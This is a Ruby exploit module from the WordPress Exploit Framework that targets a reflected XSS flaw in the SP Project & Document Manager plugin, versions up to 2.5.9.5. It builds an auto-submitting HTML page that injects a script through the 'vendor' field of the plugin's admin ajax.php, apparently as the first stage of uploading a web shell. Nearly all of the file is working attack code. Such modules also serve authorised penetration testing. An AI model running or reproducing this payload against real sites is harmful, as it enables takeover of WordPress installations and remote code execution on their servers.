# frozen_string_literal: true

class Wpxf::Exploit::SpProjectDocumentManagerReflectedXssShellUpload < Wpxf::Module
  include Wpxf::WordPress::StagedReflectedXss

  def initialize
    super

    update_info(
      name: 'SP Project & Document Manager <= 2.5.9.5 Reflected XSS Shell Upload',
      author: [
        'Michael Helwig', # Disclosure
        'rastating'       # WPXF module
      ],
      references: [
        ['WPVDB', '8409'],
        ['URL', 'http://www.securityfocus.com/archive/1/537705/30/0/threaded']
      ],
      date: 'Mar 06 2016'
    )
  end

  def check
    check_plugin_version_from_readme('sp-client-document-manager', '2.5.9.6')
  end

  def vulnerable_url
    normalize_uri(wordpress_url_plugins, 'sp-client-document-manager', 'admin', 'ajax.php')
  end

  def initial_script
    %|<html><head></head><body><script>
      #{js_post}
      post('#{vulnerable_url}?function=email-vendor', {
        "vendor_email[]": '1',
        vendor: '<script>#{xss_ascii_encoded_include_script}<\\/script>'
      });
    </script></body></html>
    |
  end
end
